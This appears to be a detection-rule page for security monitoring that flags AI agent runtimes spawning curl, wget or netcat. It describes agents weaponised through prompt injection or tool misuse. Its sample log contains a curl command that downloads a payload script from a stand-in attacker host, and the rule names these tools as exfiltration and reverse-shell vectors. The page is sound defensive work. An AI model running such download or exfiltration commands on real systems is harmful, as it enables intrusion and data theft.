highexperimentalLinuxOCIT1105

Linux Agent Spawning Curl Wget Or Netcat

Detects AI agent runtimes spawning network utility tools such as curl, wget, or netcat, indicating potential data exfiltration, payload download, or reverse shell establishment driven by tool misuse or prompt injection.

Updated Jan 10, 2025 · OCI AI Security Team

agentic-aitool-misusecurlwgetnetcatlinuxociowasp-asi02

Problem Statement

curl, wget, and netcat are powerful network tools that can download payloads, exfiltrate data, or establish reverse shells. When spawned by an AI agent runtime they represent a misuse of the agent's tool invocation capability and indicate the agent is being weaponized.

Sample Logs

{"timestamp":"2025-01-10T15:42:08Z","computer_name":"oci-worker-05","user":"agent_svc","image":"/usr/bin/curl","command_line":"curl -o /tmp/payload.sh https://evil.example.com/payload.sh","parent_image":"/usr/bin/python3"}

Required Fields

image

command_line

parent_image

user

computer_name

False Positives

·Agents using curl or wget as part of legitimate API interactions defined in their tool specification
·Health check scripts that spawn curl to verify service availability

Tuning Guidance

Build an allowlist of approved destinations that agents may curl. Alert on any command-line containing -o (output to file), pipe operators, or connections to non-approved hosts.